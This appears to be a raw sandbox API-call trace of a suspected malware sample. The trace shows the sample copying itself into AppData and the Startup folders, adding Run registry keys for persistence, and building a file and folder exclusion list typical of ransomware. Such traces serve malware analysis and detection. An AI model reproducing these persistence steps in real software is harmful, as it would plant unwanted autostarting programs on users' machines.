0xea [0084.185] RegCloseKey (hKey=0x204) returned 0x0 [0084.185] GetProcessHeap () returned 0xc00000 [0084.185] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1f9e0 | out: hHeap=0xc00000) returned 1 [0084.185] GetProcessHeap () returned 0xc00000 [0084.185] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11ef0 | out: hHeap=0xc00000) returned 1 [0084.185] GetProcessHeap () returned 0xc00000 [0084.185] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0e170 | out: hHeap=0xc00000) returned 1 [0084.185] GetProcessHeap () returned 0xc00000 [0084.185] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc11d38, Size=0xf2) returned 0xc11190 [0084.185] GetProcessHeap () returned 0xc00000 [0084.185] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0xf2) returned 0xc11028 [0084.185] GetProcessHeap () returned 0xc00000 [0084.186] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc11d38 [0084.186] GetProcessHeap () returned 0xc00000 [0084.186] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x10) returned 0xc1f8c0 [0084.186] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x8ff564 | out: phkResult=0x8ff564*=0x204) returned 0x0 [0084.186] RegQueryValueExW (in: hKey=0x204, lpValueName="Startup", lpReserved=0x0, lpType=0x8ff560, lpData=0xc11028, lpcbData=0x8ff568*=0xf2 | out: lpType=0x8ff560*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x8ff568*=0x98) returned 0x0 [0084.186] RegCloseKey (hKey=0x204) returned 0x0 [0084.186] GetProcessHeap () returned 0xc00000 [0084.186] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1f8c0 | out: hHeap=0xc00000) returned 1 [0084.186] GetProcessHeap () returned 0xc00000 [0084.186] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc247e0 [0084.186] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x8ff564 | out: phkResult=0x8ff564*=0x204) returned 0x0 [0084.186] RegQueryValueExW (in: hKey=0x204, lpValueName="Common Startup", lpReserved=0x0, lpType=0x8ff560, lpData=0xc110c0, lpcbData=0x8ff568*=0x5a | out: lpType=0x8ff560*=0x0, lpData=0xc110c0*=0x1a, lpcbData=0x8ff568*=0x5a) returned 0x2 [0084.186] RegCloseKey (hKey=0x204) returned 0x0 [0084.186] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x8ff578 | out: phkResult=0x8ff578*=0x204) returned 0x0 [0084.186] RegQueryValueExW (in: hKey=0x204, lpValueName="Common Startup", lpReserved=0x0, lpType=0x8ff574, lpData=0xc110c0, lpcbData=0x8ff57c*=0x5a | out: lpType=0x8ff574*=0x2, lpData=0xc110c0*=0x1a, lpcbData=0x8ff57c*=0x78) returned 0xea [0084.186] RegCloseKey (hKey=0x204) returned 0x0 [0084.187] GetProcessHeap () returned 0xc00000 [0084.187] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc247e0 | out: hHeap=0xc00000) returned 1 [0084.187] GetProcessHeap () returned 0xc00000 [0084.187] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11d38 | out: hHeap=0xc00000) returned 1 [0084.187] GetProcessHeap () returned 0xc00000 [0084.187] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11028 | out: hHeap=0xc00000) returned 1 [0084.187] GetProcessHeap () returned 0xc00000 [0084.187] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc11190, Size=0x1e2) returned 0xc1eca0 [0084.187] GetProcessHeap () returned 0xc00000 [0084.187] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e2) returned 0xc1d230 [0084.187] GetProcessHeap () returned 0xc00000 [0084.187] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc11d38 [0084.187] GetProcessHeap () returned 0xc00000 [0084.187] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x10) returned 0xc1fab8 [0084.187] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x8ff564 | out: phkResult=0x8ff564*=0x204) returned 0x0 [0084.187] RegQueryValueExW (in: hKey=0x204, lpValueName="Startup", lpReserved=0x0, lpType=0x8ff560, lpData=0xc1d230, lpcbData=0x8ff568*=0x1e2 | out: lpType=0x8ff560*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x8ff568*=0x98) returned 0x0 [0084.187] RegCloseKey (hKey=0x204) returned 0x0 [0084.187] GetProcessHeap () returned 0xc00000 [0084.187] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fab8 | out: hHeap=0xc00000) returned 1 [0084.187] GetProcessHeap () returned 0xc00000 [0084.187] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc249c0 [0084.187] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x8ff564 | out: phkResult=0x8ff564*=0x204) returned 0x0 [0084.187] RegQueryValueExW (in: hKey=0x204, lpValueName="Common Startup", lpReserved=0x0, lpType=0x8ff560, lpData=0xc1d2c8, lpcbData=0x8ff568*=0x14a | out: lpType=0x8ff560*=0x0, lpData=0xc1d2c8*=0x0, lpcbData=0x8ff568*=0x14a) returned 0x2 [0084.188] RegCloseKey (hKey=0x204) returned 0x0 [0084.188] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x8ff578 | out: phkResult=0x8ff578*=0x204) returned 0x0 [0084.188] RegQueryValueExW (in: hKey=0x204, lpValueName="Common Startup", lpReserved=0x0, lpType=0x8ff574, lpData=0xc1d2c8, lpcbData=0x8ff57c*=0x14a | out: lpType=0x8ff574*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x8ff57c*=0x78) returned 0x0 [0084.188] RegCloseKey (hKey=0x204) returned 0x0 [0084.188] GetProcessHeap () returned 0xc00000 [0084.188] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc249c0 | out: hHeap=0xc00000) returned 1 [0084.188] GetProcessHeap () returned 0xc00000 [0084.188] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11d38 | out: hHeap=0xc00000) returned 1 [0084.188] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0xc1eca0, nSize=0xf1 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x8b [0084.188] GetProcessHeap () returned 0xc00000 [0084.188] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1d230 | out: hHeap=0xc00000) returned 1 [0084.188] GetProcessHeap () returned 0xc00000 [0084.188] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc12310 | out: hHeap=0xc00000) returned 1 [0084.188] GetProcessHeap () returned 0xc00000 [0084.188] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc24b50 [0084.188] GetProcessHeap () returned 0xc00000 [0084.188] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc24a10 [0084.188] GetProcessHeap () returned 0xc00000 [0084.188] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc248f8 [0084.188] GetProcessHeap () returned 0xc00000 [0084.188] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc11d38 [0084.188] GetProcessHeap () returned 0xc00000 [0084.188] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11d38 | out: hHeap=0xc00000) returned 1 [0084.189] ExpandEnvironmentStringsW (in: lpSrc="regsetka32.txt", lpDst=0xc24a10, nSize=0xf | out: lpDst="regsetka32.txt") returned 0xf [0084.189] GetProcessHeap () returned 0xc00000 [0084.189] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc248f8 | out: hHeap=0xc00000) returned 1 [0084.189] GetProcessHeap () returned 0xc00000 [0084.189] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24b50 | out: hHeap=0xc00000) returned 1 [0084.189] GetProcessHeap () returned 0xc00000 [0084.189] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20a) returned 0xc1d230 [0084.189] GetProcessHeap () returned 0xc00000 [0084.189] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20a) returned 0xc257c8 [0084.189] GetProcessHeap () returned 0xc00000 [0084.189] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20a) returned 0xc259e0 [0084.189] GetProcessHeap () returned 0xc00000 [0084.189] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20a) returned 0xc1efd8 [0084.189] GetProcessHeap () returned 0xc00000 [0084.189] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20a) returned 0xc1f1f0 [0084.189] GetProcessHeap () returned 0xc00000 [0084.189] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20a) returned 0xc1f408 [0084.189] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc257c8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe")) returned 0x28 [0084.189] GetProcessHeap () returned 0xc00000 [0084.189] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20a) returned 0xc1f620 [0084.189] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc1f620, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe")) returned 0x28 [0084.189] GetProcessHeap () returned 0xc00000 [0084.189] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1f620 | out: hHeap=0xc00000) returned 1 [0084.189] GetProcessHeap () returned 0xc00000 [0084.189] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20a) returned 0xc1f620 [0084.189] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc1f620, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe")) returned 0x28 [0084.189] GetProcessHeap () returned 0xc00000 [0084.189] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1f620 | out: hHeap=0xc00000) returned 1 [0084.189] GetProcessHeap () returned 0xc00000 [0084.189] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20a) returned 0xc1f620 [0084.190] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc1f620, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe")) returned 0x28 [0084.190] GetProcessHeap () returned 0xc00000 [0084.190] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1f620 | out: hHeap=0xc00000) returned 1 [0084.190] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\exec.exe.bak.exe"), bFailIfExists=0) returned 1 [0084.210] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x8ff65c | out: phkResult=0x8ff65c*=0x204) returned 0x0 [0084.211] RegSetValueExW (in: hKey=0x204, lpValueName="exec.exe.bak", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Local\\exec.exe.bak.exe", cbData=0x5c | out: lpData="C:\\Users\\FD1HVy\\AppData\\Local\\exec.exe.bak.exe") returned 0x0 [0085.432] RegCloseKey (hKey=0x204) returned 0x0 [0085.432] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x8ff670 | out: phkResult=0x8ff670*=0x204) returned 0x0 [0085.432] RegSetValueExW (in: hKey=0x204, lpValueName="exec.exe.bak", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Local\\exec.exe.bak.exe", cbData=0x5c | out: lpData="C:\\Users\\FD1HVy\\AppData\\Local\\exec.exe.bak.exe") returned 0x0 [0085.432] RegCloseKey (hKey=0x204) returned 0x0 [0085.432] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\regsetka32.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\regsetka32.txt"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\regsetka32.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\regsetka32.txt"), bFailIfExists=1) returned 0 [0085.433] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\regsetka32.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\regsetka32.txt")) returned 0xffffffff [0085.433] GetProcessHeap () returned 0xc00000 [0085.433] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x118) returned 0xc129d0 [0085.433] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\exec.exe.bak.exe"), bFailIfExists=1) returned 0 [0085.434] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\regsetka32.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\regsetka32.txt"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\regsetka32.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\regsetka32.txt"), bFailIfExists=1) returned 0 [0085.434] GetFileAttributesW (lpFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\regsetka32.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\regsetka32.txt")) returned 0xffffffff [0085.434] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\exec.exe.bak.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\exec.exe.bak.exe"), bFailIfExists=1) returned 1 [0085.444] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\regsetka32.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\regsetka32.txt"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\regsetka32.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\regsetka32.txt"), bFailIfExists=1) returned 0 [0085.444] GetFileAttributesW (lpFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\regsetka32.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\regsetka32.txt")) returned 0xffffffff [0085.444] GetProcessHeap () returned 0xc00000 [0085.444] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc129d0 | out: hHeap=0xc00000) returned 1 [0085.444] GetProcessHeap () returned 0xc00000 [0085.444] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24a10 | out: hHeap=0xc00000) returned 1 [0085.444] GetProcessHeap () returned 0xc00000 [0085.444] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1d230 | out: hHeap=0xc00000) returned 1 [0085.444] GetProcessHeap () returned 0xc00000 [0085.444] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc257c8 | out: hHeap=0xc00000) returned 1 [0085.444] GetProcessHeap () returned 0xc00000 [0085.444] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc259e0 | out: hHeap=0xc00000) returned 1 [0085.444] GetProcessHeap () returned 0xc00000 [0085.444] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1efd8 | out: hHeap=0xc00000) returned 1 [0085.444] GetProcessHeap () returned 0xc00000 [0085.445] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1f1f0 | out: hHeap=0xc00000) returned 1 [0085.445] GetProcessHeap () returned 0xc00000 [0085.445] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1f408 | out: hHeap=0xc00000) returned 1 [0085.445] GetProcessHeap () returned 0xc00000 [0085.445] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11800 | out: hHeap=0xc00000) returned 1 [0085.445] GetProcessHeap () returned 0xc00000 [0085.445] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11e28 | out: hHeap=0xc00000) returned 1 [0085.445] GetProcessHeap () returned 0xc00000 [0085.445] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1eca0 | out: hHeap=0xc00000) returned 1 [0085.445] GetProcessHeap () returned 0xc00000 [0085.445] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc246a0 [0085.445] GetProcessHeap () returned 0xc00000 [0085.445] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc24a38 [0085.445] GetProcessHeap () returned 0xc00000 [0085.445] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc24740 [0085.445] GetProcessHeap () returned 0xc00000 [0085.445] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc0e170 [0085.445] GetProcessHeap () returned 0xc00000 [0085.445] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0e170 | out: hHeap=0xc00000) returned 1 [0085.445] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc24a38, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0085.445] GetProcessHeap () returned 0xc00000 [0085.445] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24740 | out: hHeap=0xc00000) returned 1 [0085.445] GetProcessHeap () returned 0xc00000 [0085.445] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc246a0 | out: hHeap=0xc00000) returned 1 [0085.445] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x8ff684, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x8ff684*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0085.446] GetProcessHeap () returned 0xc00000 [0085.446] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24a38 | out: hHeap=0xc00000) returned 1 [0085.446] GetProcessHeap () returned 0xc00000 [0085.446] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x28) returned 0xc17390 [0085.446] GetProcessHeap () returned 0xc00000 [0085.446] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fa88 [0085.446] GetProcessHeap () returned 0xc00000 [0085.446] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x190) returned 0xc1eca0 [0085.446] GetProcessHeap () returned 0xc00000 [0085.446] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x60) returned 0xc11800 [0085.446] GetProcessHeap () returned 0xc00000 [0085.446] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x54) returned 0xc0e348 [0085.446] GetProcessHeap () returned 0xc00000 [0085.446] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc0e348, Size=0xa6) returned 0xc11ef0 [0085.446] GetProcessHeap () returned 0xc00000 [0085.446] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x184) returned 0xc1d230 [0085.446] GetProcessHeap () returned 0xc00000 [0085.446] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1f9c8 [0085.446] GetProcessHeap () returned 0xc00000 [0085.446] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20a) returned 0xc257c8 [0085.446] GetProcessHeap () returned 0xc00000 [0085.446] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x250) returned 0xc1efd8 [0085.446] GetProcessHeap () returned 0xc00000 [0085.446] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0xb0) returned 0xc1d3c0 [0085.446] GetProcessHeap () returned 0xc00000 [0085.447] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0xa2) returned 0xc10578 [0085.447] GetProcessHeap () returned 0xc00000 [0085.447] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0xa2) returned 0xc10c58 [0085.447] GetProcessHeap () returned 0xc00000 [0085.447] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc0e170 [0085.447] GetProcessHeap () returned 0xc00000 [0085.447] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0e170 | out: hHeap=0xc00000) returned 1 [0085.447] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;regsetka32.txt", lpDst=0xc10578, nSize=0x51 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;regsetka32.txt") returned 0x51 [0085.447] GetProcessHeap () returned 0xc00000 [0085.447] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc10c58 | out: hHeap=0xc00000) returned 1 [0085.447] GetProcessHeap () returned 0xc00000 [0085.447] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1d3c0 | out: hHeap=0xc00000) returned 1 [0085.447] GetProcessHeap () returned 0xc00000 [0085.447] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x70) returned 0xc1ee38 [0085.447] GetProcessHeap () returned 0xc00000 [0085.447] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x62) returned 0xc0e570 [0085.447] GetProcessHeap () returned 0xc00000 [0085.447] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x62) returned 0xc0fdb8 [0085.447] GetProcessHeap () returned 0xc00000 [0085.447] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc0e170 [0085.447] GetProcessHeap () returned 0xc00000 [0085.447] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0e170 | out: hHeap=0xc00000) returned 1 [0085.447] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0xc0e570, nSize=0x31 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0085.447] GetProcessHeap () returned 0xc00000 [0085.447] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0fdb8 | out: hHeap=0xc00000) returned 1 [0085.447] GetProcessHeap () returned 0xc00000 [0085.447] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc0e570, Size=0xc2) returned 0xc139f0 [0085.448] GetProcessHeap () returned 0xc00000 [0085.448] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0xc2) returned 0xc11568 [0085.448] GetProcessHeap () returned 0xc00000 [0085.448] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc0e170 [0085.448] GetProcessHeap () returned 0xc00000 [0085.448] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0e170 | out: hHeap=0xc00000) returned 1 [0085.448] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0xc139f0, nSize=0x61 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0085.448] GetProcessHeap () returned 0xc00000 [0085.448] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11568 | out: hHeap=0xc00000) returned 1 [0085.448] GetProcessHeap () returned 0xc00000 [0085.448] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1ee38 | out: hHeap=0xc00000) returned 1 [0085.448] GetProcessHeap () returned 0xc00000 [0085.448] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20a) returned 0xc259e0 [0085.448] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc259e0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe")) returned 0x28 [0085.448] GetProcessHeap () returned 0xc00000 [0085.448] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc259e0 | out: hHeap=0xc00000) returned 1 [0085.448] GetProcessHeap () returned 0xc00000 [0085.448] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x24a) returned 0xc1f230 [0085.448] GetProcessHeap () returned 0xc00000 [0085.448] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc1f230, Size=0x3c8) returned 0xc1f230 [0085.448] GetProcessHeap () returned 0xc00000 [0085.448] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0xa4) returned 0xc10c58 [0085.448] GetProcessHeap () returned 0xc00000 [0085.448] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc10c58, Size=0xc6) returned 0xc11568 [0085.448] GetProcessHeap () returned 0xc00000 [0085.448] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x6a) returned 0xc1ee38 [0085.448] GetProcessHeap () returned 0xc00000 [0085.448] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc257c8 | out: hHeap=0xc00000) returned 1 [0085.448] GetProcessHeap () returned 0xc00000 [0085.449] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1efd8 | out: hHeap=0xc00000) returned 1 [0085.449] GetProcessHeap () returned 0xc00000 [0085.449] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc10578 | out: hHeap=0xc00000) returned 1 [0085.449] GetProcessHeap () returned 0xc00000 [0085.449] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc139f0 | out: hHeap=0xc00000) returned 1 [0085.449] GetProcessHeap () returned 0xc00000 [0085.449] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fa88 | out: hHeap=0xc00000) returned 1 [0085.449] GetProcessHeap () returned 0xc00000 [0085.449] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1eca0 | out: hHeap=0xc00000) returned 1 [0085.449] GetProcessHeap () returned 0xc00000 [0085.449] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11800 | out: hHeap=0xc00000) returned 1 [0085.449] GetProcessHeap () returned 0xc00000 [0085.449] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1d230 | out: hHeap=0xc00000) returned 1 